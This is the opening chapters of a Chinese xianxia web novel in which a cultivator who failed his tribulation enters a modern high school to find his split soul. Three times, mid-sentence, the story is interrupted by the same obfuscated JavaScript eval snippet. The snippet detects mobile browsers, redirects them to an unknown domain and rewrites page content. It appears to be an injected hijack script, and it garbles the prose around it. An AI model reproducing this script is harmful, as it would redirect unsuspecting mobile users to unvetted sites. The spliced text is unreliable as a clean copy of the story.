《渡劫失败后和分魂he【水仙】》 1. 渡劫失败 修真界,曲洲。 此时正值午时,明明应是秋高气爽的天气,却黑云滚滚,云中时不时有几丈宽的紫电闪动,降在一处山头上。 有住在曲洲襄江和梅江交汇处的孩童,手上捏着一只竹蜻蜓,仰着头,向父母问道:“是有仙人在渡劫吗?” 孩童的父母点点头:“乖宝,那是合江宗的仙人。” 又补充道:“我们离合江宗这么近,宝宝以后可要努力进入这里啊,出人头地,得道长生。” 孩童听了,懵懂中点了点头。 接着,远远只见那蠕动的阴云中又划过一道亮光,孩童便放下手中的竹蜻蜓,转而捂上了耳朵。 在后至的雷声中,孩童小声嘟囔了一句话,彻底被淹没在巨响中。 他说:“我害怕,爸爸妈妈为什么要我修仙呢?” …… 如果是这次雷劫的主角听到了这句话,他一定是双手双脚表示赞同。 ——赞同的是“我害怕”这半句。 江晏,合江宗修亭峰峰主,火灵根的剑修,攻玉剑主人。 作为一个化神后期,且正在突破合体期的大佬,按照常理,江晏本应该习惯了这种渡劫的经历,“害怕”这么直白的情绪,放在他身上,不合适。 可是,这次的雷劫,给他的感觉并不好。江晏这样想着。 在一次次震荡中,他的神魂,好像不那么稳当了。 江晏在电光中努力稳住身形,感受着灵魂深处传来的撕裂般的疼痛。 这竟是神魂出窍的先兆。 神魂出窍后,在这雷劫的攻势下,魂飞魄散也是再寻常不过的事了。 江晏死死按住攻玉剑,内心发出无声的咆哮: 从来没有听说过雷劫还能把人神魂劈出来的! 这个念头刚起来,他又想到了什么,愣住了。 普通修士确实不会被雷劫劈到灵魂出窍,但如果神魂有损,或者体质特殊,那也是极有可能的。 江晏想,可这也不对。 此时,又一道雷劫劈下。 他这次感受不到自己的双腿了。 恍惚中,他想,苦修百余年,即将叩问大道,一切要停止在这里了吗? 修真界有句话:修习不成仙,不如不修。 江晏想,他可能是要失败了。 如果从头再来,他还会踏上这条路吗? 也许不会吧。 那他会在干什么呢? 是在人间捧着书卷,日日夜夜挑灯夜读考取功名吗? 还是会在乡间做着农活,看着树上的蝉换了一茬又一茬? 江晏不知道。 但是他隐约抓住了什么被他忽视的东西。 是了,他想。 他进入合江宗之前,已经是失忆的了。 那刚刚所想的人生,为什么是那些画面呢。 他的神魂,到底经历了什么。 江晏想知道。 雷鸣滚滚,可现在并不是他一探究竟的好时机。 而且他大概也不会知道了。 ——江晏渡劫失败了。 灵魂完全脱离了躯体,飘飘荡荡的。 是和平时御剑飞行全然不同的感觉,让人心里发虚,头昏脑胀。 江晏迟疑地低头,看见了地上倒着一个人。 很显然,那就是他自己。 外面雷云还在酝酿着闪电,江晏的心里却莫名地平静了下来。 就这样吧,他想,修真本就是逆天而行,运气不好,也没有办法。 一切看开了,他便打量起自己这具身体,主要是看自己的表情安不安详。 江晏并不希望一张扭曲的脸暴露在同宗门的人面前,尤其是那些嘁嘁喳喳的年轻弟子。 他看着这张熟悉又陌生的脸,眼睛闭着,睫毛在不甚明亮的光下,依然在眼下扫出了一片小小的阴影。嘴巴抿着,面无表情。 于是江晏满意地发现自己表情管理很是到位,至少没有什么夸张的扭曲,看起来像是睡着了。 他便放下心来。 又坐在自己身体的一旁,等着不知道是哪道即将到来的雷劫,来终止这一切。 只是,江晏所等待的那道雷一直没有劈下来。 他却看到了自己手上的玉扳指上发出了莹莹绿光。 江晏:这不合理。 他的玉扳指是一枚空间法器,空间法器没有主人的操控,按理说是不会有什么动静的。 江晏不明白它为什么会动,也不明白玉扳指里面的什么东西在动。 明明刚才渡劫时他已经把里面能用的法器都用上了! 他自己攒的,同门们给的,可以说全都用上了,却依然没有渡过这次的雷劫。 现在这个玉扳指,只是一个空空的壳子。 江晏这样想着,却看到一片绿莹莹中,渐渐浮现了什么东西。 他如临大敌,几乎是屏息凝神地看着。 那是一根……鸟毛? 江晏还未反应过来,只见一只浑身灰灰的,夹杂着杂色斑点的……某种鸟类,从他的扳指中跳了出来。 我的储物空间里怎么会有这种鬼东西!江晏盯着这只全身上下都透露着不合理气息的小鸟,思考着它的来历。 ……不会是自己的哪位爱徒悄悄塞进来的吧。 他在思索之间,这只灰灰花花的小鸟歪起脑袋,漆黑的眼睛盯上了他。 江晏与这不明物种对视后,顿觉不好。 尽管现在已经灵魂离体了,他也下意识地后退了半步。 那只鸟突然一个加速度,扑腾着翅膀,直直向江晏飞过来! 江晏躲闪不及,还真让它撞到身上了。 以清冷和风光霁月而闻名的攻玉剑主人,猝不及防挨了这么一下,不知道是不是心理作用,他几乎能闻到禽类身上那种毛烘烘的味道。 他用力闭了下眼,试图冷静一下。 再睁开眼时,却找不到那只小鸟的踪迹了。 江晏轻轻“唔?”了一声。 此时,他似乎听到了鸟叫。 居然比他在宗门异兽谷里的听到的鸟鸣还要好听。 江晏偏了偏头,试图寻找声音的来处。 那声音好像知道他心中所想,又清晰地响了一声。 这次听到这声音,江晏却控制不住自己跳动的额角了。 ——这声音,分明是从他的灵魂深处传出来的! 他按下心中疑惑,问道:“是谁?” 那鸟鸣又响起了,继而转变成了一个清脆的人声:“我是啾啾啊。” 江晏:…… 对方这理所当然的语气是怎么回事。 啾啾还在继续说着:“我是白掌门给你的渡劫法宝啊。” 江晏思索一番,并没有对这个怪东西的记忆。 估计是被白一苇打包放在哪个犄角旮旯了。 江晏现在算是渡劫失败了,尝试了各种办法也回不到自己的的身体里。 于是,他报以呵呵。 被无视了的啾啾却依然自顾自地说着:“振 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902312|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作起来,你现在还不算死了。” 死了。死了。死了。 这两个字被这只灰鸟说出来,格外地不吉利。 江晏想着,白师兄要是再给他的法宝安装一些奇奇怪怪的语言系统,还是丢掉吧。 啾啾依然在叽叽喳喳:“你现在这个情况,应该是神魂不稳固导致的。” 江晏听及此处,终于开口:“我不记得自己神魂有损。” 啾啾似乎是短暂地笑了一下:“不记得,不代表没有。” 江晏皱了皱眉。 啾啾继续说:“我本是上古法器的一部分,用于沟通宇宙,温养神魂。” 江晏:“哦。” 这灰扑扑的东西,一点也看不出来来历这么大。 江晏感到自己的神魂中响起了一阵扑扑簌簌的声音,像是鸟类在扇动翅膀,蹦哒了几下。 “你是一体双魂,你自己居然不知道?” 这次江晏实实在在愣住了。 他努力回想从前种种,可并没有发现什么端倪——当然这有一部分失忆的原因。 啾啾说:“哈,你应该是出过某种变故,导致你的两个魂魄分开了。” 江晏扶额。 他的记忆往前搜寻,最早只能回忆起拜入宗门前几个月的时候。 估计变故就出在此时了。 此时,江晏感觉自己的神魂动了动,小灰鸟又出现在了他面前。 “你的另一个魂魄不知从哪里找了个别人用过的壳子。毕竟不是原装,刚才你在渡雷劫,你那分魂也会被影响。” 江晏:…… 双倍渡劫,听起来好惨哦。 啾啾用鸟爪在他肩头用力踩了踩:“你渡劫失败了,那个分魂也出事啦!” 江晏拎起它的翅膀:“这种事情就不要用‘啦’这么欢快的字眼了好嘛!” 啾啾的鸟眼翻了翻:“我是让你不用太担心。” “你那分魂……呃,碎成了好几片,散布在不同的时间和空间里。” “我带你找到它们,让它们获得内心的满足,就能起到稳固神魂的作用。” “等到你的分魂完全稳固后归位,你也就回到现在这个身体里面了”,啾啾从江晏手中挣脱出来,围着他的身体蹦哒了一圈。 “那时,你才算渡劫成功,顺利突破。” 江晏听了,沉默良久。 最终,他说: “本来还以为死了就结束了……所以,为了能活过来,为了前面苦修的日子不浪费,我还得去三千世界里面像呵护小树苗一样,去哄我那分魂?” 啾啾点了点头。 江晏冷笑一声:“渡劫它被劈散了是它弱,还必须我去把它拼起来?” 啾啾再次点头。 江晏木然道:“我不想……” 他的话没说完,只觉得一阵天旋地转,眼前的那具身体、合江宗、乃至曲洲和整个修真界,都在面前变得越来越小。 于是江晏说到一半的话打了个弯:“不是,这是怎么回事?” 啾啾又站回了他肩上:“啾!我一启动是不能停止的!师兄把我给你了,师兄好。” 江晏:…… 行吧。 他看着苍茫的天,难得有了前途未卜的想法。 …… 仙历两万零十四年,修真界发生了两件大事。 合江宗白掌门的亲师弟江晏突破合体期时,渡劫失败,陷入昏迷。 三界通吃的胜意门门主宁时,于同日口呕鲜血,人事不省。 2. 换个身体 一番波折后,江晏再次睁眼时,只觉得自己身上哪里都不对劲。 好像有几千个钟在他脑海里嗡嗡。 耳边是啾啾有点心虚的声音:“啊……你的灵魂附在什么上面,都是比较随机的呢。” 江晏产生了一种不好的预感。 他做了一会儿心理建设,缓缓睁开了眼。 “看着”眼前的景象,江晏足足愣了五秒,然后他愤怒地张嘴…… 不对,他现在没有嘴,所以骂不了啾啾。 啾啾低下头,柔弱地“啾”了一声。 江晏如果还有身体,那一定是深吸了一口气。 他用意念对啾啾说:“这就是,你给我找的身体?” 啾啾心虚地蹦了两下,也用意念回复:“……也算可以吧,多么结实宏伟的身体啊。” 江晏:“嗯?” 啾啾飞快地说到:“第一次做这事,业务不熟练。等等我,我把你从这教学楼里弄出来,给你一个正常的人类身体!” 江晏:“哦。” 啾啾的身影又消失了,估计是回到了他的意思海中。 窸窸窣窣找东西的声音,伴着啾啾的话响起:“欸,忘了和你说了,你要经历的这些世界都是真实存在的。” 啾啾的声音突然变得严肃起来:“我见过的世界多了,可你不一样。你要遵守每个世界的基本原则,不要想着你们剑修那一套。” 江晏:“我们剑修怎么了。” 啾啾大声说:“我是说要冷静!遇见什么别想着打架!” 江晏:呵呵。 啾啾一边又开始给江晏讲起了他现在这个世界的样子。 江晏百无聊赖地“看着”外面。 刚刚他听见了一阵铃声,之后那令人崩溃的嗡嗡声大了数倍。一群少年人从盒子一样的排列整齐的房间里涌出,吵吵闹闹。 江晏此时觉得,啾啾确实说得对。 被吵到了的不幸的教学楼现在确实有点想打人了。 江晏刚想问啾啾找身体的进展,突然感到一阵微弱的刺痛。 ——一个男生拿着钥匙,正在怼墙上一处不知道传承了几代学生的小坑。 江晏:…… 一瞬间,他想起的居然是自己刚进入合江宗时,被分配到的房间里,那坑坑洼洼的墙壁。 寻找分魂的事还没有正式开始,江晏就已经身心俱疲了。 啾啾不知道翻找了多久,突然迸发出一直激动的鸟叫:“啾!” 江晏冷漠道:“我希望是你已经找到解决办法了。” 啾啾没有计较他的阴阳怪气,毕竟一个活人穿成了教学楼是一种很新,很歹毒的体验:“我刚才探查了一番这个世界,没有你能用的合适的身体。” 在江晏骂它之前,啾啾又赶紧说:“但是!我作为一个神器,还是有一些特权的!” “我可以给你捏一个身体,然后给这个身体设定一些简单的社会关系,算上一点小小的外挂。” 江晏:“白掌门果然好东西不少。” 啾啾震惊了:“你居然不夸我!” 江晏:“好吧,那是谁把我的灵魂塞进这个饱受折磨的教学楼里呢?” 啾啾顾左右而言他:“你先来试试这个新身体。” 江晏略微迟疑:“我们先说好,这个身体……不会是女孩子老爷爷小婴儿什么的吧?” 啾啾:“正常的身体!用你自己的脸和体型捏的!” 说完,便操控力量,让这句具身体出现在江晏面前。 江晏打量了一番,发现确实是自己的模样,只不过是刚刚开始修行时的样子,带了一点少年气。 他说了声:“好。” 话毕,依照啾啾的指令,将意识一沉,进入了这新的身体中。 附在一个活物身上,和他刚刚附在教学楼上面是完全不同的感觉。 江晏一开始只觉得自己的意识被装进了什么容器里,逼仄而黑暗。 接着一股微热的力量从他的四肢中流过。 江晏感受着,突然神色有点恍惚。 他脑海中突然浮现了什么画面。 天地是一片白色和灰色。 他脸上一凉,抬头望去,有零星的雪花飘落。 江晏这才回过神来,他觉得身上很冷,很冷。 低下头,才发现自己只穿了一层单衣。 一阵寒风携着雪星卷过,江晏看着四周被火烧过的断壁残垣,打了个喷嚏。 人体在这种寒冷下,四肢却突然产生了一股隐约的暖意。 江晏:…… 这是怎么回事!看起来好凄凉……不不,所以是刚刚附体和感受碰巧和这段记忆的主人的感受相似,才被他看到吗? 江晏伸出手欲摸一下衣袖,然后看到了现在的骨架。 是一个小孩,不过五六岁的样子。 手腕处还带着一点婴儿肥,并没有瘦骨如柴。 看起来是小宝贝变流浪儿的故事。 江晏盯着这双手,心中的一个声音叫他把手翻过来。 翻过来,之后做什么? 江晏思索着。 这时,一阵鸟鸣响起。 是啾啾的声音。 于是,江晏面前那些雪花、黑墙全部都消失了。 他还站在这个世界的校园里。 江晏这回感受到自己能控制住这个身体了,但却没有动。 他说:“啾啾,你确定这个身体是你新捏的?” 啾啾翘了翘尾巴:“那当然啦,我厉害吧。” 江晏按住额角:“但是刚刚附身的时候,我看到了一些没有见过的画面。” 说完,他盯着在一旁树枝上啾啾:“你真的没有把别人的东西,用在这里?” 啾啾:“没有。那肯定是你的记忆。” 江晏:…… 他有点心虚。 因为他确实丢失了十几岁之前的记忆。 为此,他刚刚进入合江宗时,还接受了长老们数年的长期暗中观察,就怕他是哪方势力的卧底。 但是,如果刚刚的画面真的是自己的话……好惨呦。 江晏冷着脸想,这不一定是自己的记忆吧。 那么一个小孩,在冬天自己生存下去,是有些困难的。 此时,一阵脚步传来。 江晏扭头望去,是一个夹着两本书的成年男人向着他们的方向来了。 江晏和啾啾此时正处于一个小花园里,里面花影横斜,还有块两米多高的太湖石。 江晏用意念对啾啾说:“有人来了,我躲一下。” 啾啾:“你躲吧,我不用。” 江晏侧身到太湖石后,“做鸟还是有点好处的。” 啾啾:“不是,是只有你能看见我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902313|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 江晏:“行吧。” 那位男老师走到了太湖石前,并没有发现什么异样,大步流星地走过了。 江晏看着他离去的背影:“我们刚刚说到这个世界是……少年们需要通过一场非常重要的考试?” 他指了指四周的楼层:“这就是学习的地方?” 啾啾点头。 江晏:“很好,那我的分魂就在这个叫学校的东西里面?” 啾啾:“他大部分时间应该在学校,也会回家。” 江晏嘟囔了一句:“你怎么知道的比我还多。” 啾啾:“……因为我是神器,亲。” 江晏摸了下自己的头顶,意识到从前的长发没有了,取而代之的是柔软中又带着点扎手的短发。 江晏:“下次你给我捏身体,能让我调一下头发的样式吗?” 啾啾从树上跳下来:“没有下一次了。” 江晏:“哈?” 啾啾的鸟眼上下左右乱瞟,就是不敢看江晏。 江晏:“你不要逃避问题,说清楚,为什么没有下一次。” 啾啾:“啊,这个吧,你也知道我作为神器,是第一次被启动。” 江晏:“我之前并不知道。” 啾啾:“但你现在知道了!” 又继续说:“所以呢,我在业务上可能有一些不熟练……” 江晏深吸了一口气:“说人话。” 啾啾也吸了一大口气:“现在就是我给你刚刚捏身体的时候不小心一下子把我给宿主挑选身体的权限全用完了。” “你之后附在什么上面我全都不能改变了。” 江晏:…… 他听明白了,只觉得眼前一黑。 啾啾小声说:“你现在的表情,好像这个世界的大学生们,在月初就激情消费把生活费全都花光之后哦。” 江晏伸长胳膊,啾啾毫无防备,被他捏住了鸟嘴:“你别说话,让我冷静一下。” 啾啾:“唔!” 它扑腾了两下翅膀,江晏还是松开了它。 啾啾:“……我还没说完!” “这个世界不小心消耗了太多权限,所以你现在还有一套在自己名下的住房。” 江晏:“哦。” 他突然抬头:“不对,这也没什么权限啊。” “我现在的身份是高中生,我吃饭生活都要花钱,却没有固定的流动资金收入?” 啾啾:“啊这就需要你自己想办法了。” 江晏:“不行我合租吧。” 啾啾大喊:“你进入角色也太快了吧!修亭峰那个不食人间烟火的峰主呢?” 江晏再次捏着了它的鸟喙:“第一,我是个人。” 他垂下眼看了啾啾一眼:“第二,合租还不是因为你这个神器没用,哪壶不开提哪壶。” 啾啾:…… 江晏的攻击性比它被刚送到他手里时强多了。 它再次用翅膀拨开江晏的手:“那我们就正式开始寻找你的分魂吧。” “我也不清楚他叫什么,什么来历,但是能确定他刚刚活动的位置。” 啾啾用鸟爪指了一个方向。 “在四楼楼梯口边的教室里,倒数第一排。” 江晏看着四楼的窗口,初秋的阳光映在上面,依稀反射出小花园里向天的几根枝丫,看不清里面的情况。 3. 问题少年 在经历了啾啾一番不知名的操作之后,江晏合理地出现在了学校大门。 门口上“实验中学”几个金属大字,在阳光下熠熠生辉。 江晏抱住自己的手臂,隔着那一排栅栏看向校园里面。 一个看起来四十岁左右的中年女人迈着小碎步向他的方向走来。 她身量不高,小碎步让她的体态看起来有些滑稽。过肩的棕色长发有几缕压在了外套下,还有几缕在脸侧浮动。 啾啾:“你别大模大样地站着了,那是你以后的班主任。” 江晏用意念说:“我不想上学。” 虽然这么说,但他确实放下了手臂,上前走了两步,“老师好。” 周莉对他笑了笑,有些慈爱:“江同学好啊。” 一边又让门卫打开了大门,放江晏进来。 江晏跟在周莉身后,往教室走去。 周莉本来就不高,江晏这个身体已经抽条了,为了表现得符合一个乖学生,他慢慢地走在周莉身后半步。 一路上,周莉简单和他说了说学校的构造和日常生活安排。 江晏答应着。 突然,周莉停下了脚步,转头看着他:“小江啊,别这么紧张。” 江晏:? 周莉轻微地叹了口气:“你的情况,我也都了解到了。” 江晏:不是,你都了解到了什么? 周莉并没有读懂他的眼神,她只是充满怜爱地看了江晏一眼,把他带到了一栋教学楼里。 江晏的下巴绷紧了,他问啾啾:“我在这个世界的身份是怎么回事?” 啾啾理直气壮:“是一个因家庭变故,从私立高中转到公立高中的小可怜。” 啾啾又补充道:“放心,知道你们剑修性格独。你的亲人们大都在国外,不会嘘寒问暖,也不会打笔巨款。” 江晏在意念中发出愤怒的声音:“为什么不给我设定巨款!” 但他来不及和啾啾斗嘴了。 周莉把他领到了一间教室前,带着班主任的压迫感走了进去。 江晏跨进了那道坑坑洼洼的门槛。 他踏进了另一个世界。 绿色的窗帘被初秋的风吹到鼓起,透过了几缕阳光,打在江晏右手边的黑板上。 能看到有一些粉笔灰在空着浮动。 江晏看向左边,那是一群半大的孩子们。 衣服和发型都差不多,虽然每个人看起来都很困,但眼里还都是亮晶晶的。 尤其是在周莉把江晏拉到讲台上,大家看到他那张脸后,眼睛更亮了。 江晏:…… 太青春了,他不应该在这里的。 他勉强做了个自我介绍,其实就只是说了“我叫江晏,很高兴能和大家成为同学。” 周莉似乎默认了他是个腼腆的性格,点了点头,没有强迫他说更多。 她向教室后面指了一下:“还没来得及给你安排座位,倒数后两排都有空位,你先选一个。” 江晏便看去,那些空位旁大多都有人了,只有倒数第二排一处,是两个空位连着一起的。 啾啾此时也说:“对,分魂的气息就是这里最浓。” 他便向那两个空位走去。 周莉看到他的方向,皱了皱眉。 江晏并不知晓。他走到座位后面,才发现其实这处只有一个空位。 旁边的位置桌斗里胡乱塞着课本和卷子,还有半张他看不懂的圆圈字卷子半搭在一旁的椅子上。 ——桌面上却是空空如也,怪不得他起初以为这里没有人。 江晏穿过来的时间很巧,正是周考结束后的自习课。 周莉没有在班级里逗留太久——她还要改卷子去。 于是教室里全都是这些半大的孩子们了。 有刻苦学习埋头刷题的人,也有嘴巴闲不下来,想聊天的人。 江晏听着,一边下意识扫了一眼身边座位上的东西。 啾啾在他的意识中蹦蹦跳跳:“对,这里应该是你那个分魂的座位。” 一张写了名字的薄纸进入了他的视线。 是一张很薄的语文卷子,抬头处用黑色的墨水写了龙飞凤舞的两个字: 宁时。 很张扬,压住了下面的实线和密封虚线。 江晏盯着这两个字,总觉得有些熟悉。 他肯定在什么地方见过这个名字。 有印象,就说明不是他失忆之前发生的事。 江晏把自己的记忆从头到尾翻了个遍,终于在犄角旮旯里扒拉出来了这个名字。 这位是修真界胜意门主人。 其实也不能只算修真界。江晏所在的原世界分为人界,魔界和修真界。 一般而言,这三者并不互通,各自为政。 但凡事总有例外,这几方也要暗中联系的时候。 比如人界皇族争权,有人就会借用仙家力量。 而胜意门,就是集揽了这三界信息的地方,最大的情报贩子。 无论是问本界的事情,还是外界的事情,没有胜意门不知道的。 这么看来,胜意门名气很大。 胜意门的主人,在众人心里,也是实力高深莫测,神龙见首不见尾的形象。 江晏想了半天才想起宁时是胜意门主人,单纯只是因为:他和宁时接触不多。 好像只在从前的他们一批新任峰主的就任典礼上,远远见过一面。 不过,胜意门的宁时,会和这个世界的宁时是一个吗? 江晏才冒出这个念头,几乎被自己逗笑了。 ——这怎么可能。如果胜意门的宁时真的是他要找的分魂的话,他还从来不知道自己有那手眼通天的本事。 估计只是重名罢了,他下意识地摸着那两个字,随意地想着。 这时,他肩后传来了一点微弱的力量,有人在用小杆戳他。 江晏面无表情的扭过头来。 噢,他身后坐着一个白中透粉的小胖子。 小胖子正拿着一根笔,笔帽对着江晏,这就是他刚才所感受到的“一根小杆”。 江晏的冷淡对小胖子似乎没有任何作用,也许这就是长得好看的特权。 小胖子身子微微前倾,压低了声音:“哥们儿,你可别动旁边的东西了。” 江晏回头看了一眼那堆乱糟糟的卷子,面露疑惑。 小胖子继续说:“小心他打你!” 江晏:? 他惊诧了一瞬,转而又想起自己是个剑修。 那现在的宁时,应该算……年轻版的剑修。 啊,buff叠满了,宁时会打架,似乎也正常。 于是江晏恢复了平静。 小胖子见自己的话没有激起当事人一点波动,脸色微微涨红了,更是着急了。 他说:“其实你选的这个座位不好。宁时不是个好学生,还经常逃课。” 江晏:不对,等等。 他刚刚一直以为宁时是生病请假了! 在合江宗时期就是卷王的江晏,对宁时逃课的行为发出了强烈谴责! 宁时此时是个高中生啊! 哪个高中生不想上个好大学? 宁时的心愿肯定是这个! 他要把宁时抓回来,然后天天盯着他五三又天利,曲一线又王后雄,直到他高考! 江晏刚刚的这些想法,并没有屏蔽啾啾,于是啾啾看到后颤抖了。 它说:“不是,你等一下,你确定宁时的愿望是这?” 江晏自信满满,且豪情壮志:“都说了是分魂了,我从外门弟子一路奋斗到合江宗修亭峰峰主,他宁时的目标肯定也是高考700上C9!” 啾啾:…… 它只得象征性地说了江晏一句:“人又不止只有一个愿望,而且,以后别怪我没提醒你,别太自以为是了。” 江晏:“那他还能有什么心愿?高考不就是最大的事吗?” 啾啾没有理他,单方面把他屏蔽了。 江晏又思考了一下啾啾的话,觉得有道理。 也许宁时不想高考,想出国或者自招呢? …… 他心中想了很多,面上不显。 对面的小胖子还在絮絮叨叨:“他父母倒是都挺有钱的,却不怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902314|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管他。” “估计是大号养废了,家里还有一个弟弟。” 小胖子看起来还要说很多话,此时,周莉进入了教室。 他便遗憾地闭嘴了,江晏也暂时失去了打听宁时的机会。 周莉站在讲台上敲了敲黑板:“又一次周考结束了哈,你们算算还有多少时间。” 她扫视了一圈班级:“那卷子改得,我都不想说你们。” “上点心吧。下节自习课别让我逮着个别人。” 江晏:…… 不知为何,他感到了一股寒意。 周莉又环顾了一圈班级,对上了江晏的视线。 江晏背后的汗毛缓缓竖起。 然后他听见周莉说:“来,江晏你出来一下。” 江晏怀着七上八下的心情出去了。 出乎他意料,周莉说的是生活上的事情。 “你刚刚转过来,又一个人住,住处收拾好了吗?” “今天也没什么课,你可以先回去安顿一下。这是周考卷子,要是有空就看看。” 于是,在下午五点半,高三生江晏,背着装着几张卷子薄薄的书包,出现在了路边。 他对啾啾说:“我不会真的要收拾家里吧。” 啾啾:“本来就是收拾好的。” 江晏看了看四周,他在啾啾引导的回家路线下,正在走过学校附近的一条小吃街:“还有多久到家啊?” 啾啾:“再走是十分钟吧……欸?” 江晏:“嗯?” 啾啾语气有点迟疑:“我怎么感觉……你那个分魂好像在附近?” 江晏闻言,四下张望了一番。 旁边公交车站牌下站着几个小学生,背着奥特曼贴纸的书包;旁边是书报亭,几个初中女生在旁边翻着一本漫画;再靠近道路内侧,是一个烧烤摊。 “所以宁时呢?”江晏发出疑惑的声音。 啾啾扑棱了两下翅膀:“过了书报亭,往北转。” 江晏就走过去了。 在他拐弯还没见到宁时的时候,他想: 宁时会长成什么样子呢? 他这时候不去上课,在干什么呢? 他不会是和狐朋狗友们闲逛去了吧? 江晏拐过了那个弯,面前豁然开朗。 他看着眼前的一切,感觉自己的血压高了。 一个穿着黑T恤的高个男生,背对着江晏。 他穿的裤子好像是校服,江晏感觉有点眼熟——和周莉给他的那套一模一样。 他的同学也不好好背书包,黑色的书包被他拎在左手里,上面有明显几道灰迹,侧面装的不锈钢水杯几乎掉出来。 他的右手,拿着一块……板砖? 江晏还看到这个男生对面,是三个小黄毛,痞里痞气。 啾啾的声音打破了江晏的沉思:“喔,这就是宁时。你还有这么狂野的一面呢?” 江晏崩溃:“这看起来就是个逃课打架的不良少年!我不想管他!” 啾啾:“行,那你穿回去直接魂飞魄散吧。” 江晏闭嘴了。 在江晏和啾啾斗嘴之间,少年书包边上的水杯终于在重力的作用下脱离了口袋。 水杯和地面相撞,发出一声清脆的“叮”。 接着,那水杯叽里咕噜向江晏滚过来。 江晏低头看着越来越近的水杯,再一抬头,面前是宁时转过来的正脸。 即使是时机不对,啾啾也听见了江晏的心声。 他说:“还好,是个冷硬系帅哥。我们剑修就是这么帅。” 啾啾:…… 江晏捡起了水杯,在手上掂了掂,有点重量。 他又向前走了两步,“你的水杯掉了。” 宁时面无表情地看着他,左耳上的金属耳钉反射着初秋的阳光。 江晏在心里估算着距离。 两米,一米半,一米…… 在他距离宁时还有不到一米的时候,宁时的脸上终于有了点疑惑。 就是现在! 江晏一把拉起宁时的胳膊,飞速转身:“跑啊!一打三你傻吗?” 4. 共进晚餐 呼啸的风从宁时耳旁掠过,由于疾速奔跑,眼前的画面都有点失真扭曲。 宁时看着前面少年在奔跑中浮动的发丝,又将视线移到自己被拉着的手上。 一只白皙而骨节分明的手,将自己的手腕攥得很紧。 自己被攥住的右手里,还拿着那块砖头。 刚刚一切发生的太快,宁时现在才逐渐回过神来。 他怎么就会跟着一个不认识的人走了呢? 而且是被硬拉走的,毫无气势。 宁时皱了皱眉。 他开口:“你是……” 他的话没有说完,北方干燥的风携着扬尘,糊了他一嘴。 宁时在百忙之中抬高另一只拎着书包的手,用力抹了一把嘴,清了清嗓子,道:“你是谁?” 然后宁时看到少年回头看了他一眼,又似乎是在看那三个混混有没有追上来。 少年开口,声音挺好听的:“实验中学高三七班的。” 宁时:“……玩儿我呢?” 少年:“今天新转来的。” 宁时“噢”了一声。 少年再次回头,这次他的脚步明显慢了下来。 宁时也回头看了看,没有发现那三个人的踪影了。 他低下头,看着少年拉着自己的手,说:“没事了,他们不见了。” 少年似乎没有读懂他的肢体语言,依然拽着他。 宁时:…… 他感觉很别扭。 刚好前面是一个电线杆子,这段路的人行道有很狭窄。 于是宁时略微用力,轻轻甩开了少年的手。 少年看到了那电线杆,露出了恍然大悟的神色,他说:“哈,没注意,刚刚一直拉着你。” 宁时没说话。 如果少年说的是真话,他搞不懂这个未来的同班同学是想干什么。 自来熟的见义勇为吗? 少年自顾自说了下去:“我叫江晏。看你裤子,也是实验的吧。” 宁时不置可否地哼了一声。 江晏继续问:“好巧啊,你是几班的啊?” 如果是平时,宁时不想回答这么多问题时,他会转头就走。 但是,客观来讲,刚刚宁时并不想打架。 尤其是不想打这种他知道为什么的架。 这只会让那些想看他笑话的人更加高兴罢了。 所以,当江晏拉着他跑时,他也下意识地跟着这个从未见过的陌生少年跑了。 也确实避免了一场不大不小的麻烦。 于是,面对江晏的问题,宁时还算有耐心地回答了:“高三七班,宁时。” 然后他看见少年的眼睛亮了起来:“是安宁的宁,时间的时吗?我是你的新同桌欸!” 宁时:…… 少年看起来很阳光:“我的座位在你旁边,倒数第二排对不对?” “我无意中看见你写的名字了,你的字真好看!” 宁时:…… 遇见自来熟的烦恼,居然被一点点喜悦压过去了。 是因为新同桌看起来很好相处吗? 是因为江晏夸自己写字好看吗? 是因为他避免了一场有预谋的打架吗? …… 宁时不知道,但这一点好心情,让他好像有了回家的勇气。 宁时想着:“看来今天运气不错……回去也许运气也不错呢。” 这时,江晏戳了戳他的手臂。 宁时低下头,看见江晏半仰起来的脸:“你今天没在学校,是生病了吗?” 宁时:……好吧,自来熟还是有点烦人的。 他语气平平:“你不是也没在学校?” 江晏挠了挠头:“今天没课,周老师让我先回家收拾一下东西,我自己住。” 宁时:“噢。” 他又补充了一句:“我今天出来散散心。” 江晏似乎有点惊讶。 宁时看着他。 最后,江晏深吸了口气,说:“心情好才能学习好!唉,你要是没地方去,来我家找我玩也行。” 宁时点了点头。 他感觉江晏真奇怪,说的话有时像一个告诉他好好学习的大人,有时又像一个真正的少年。 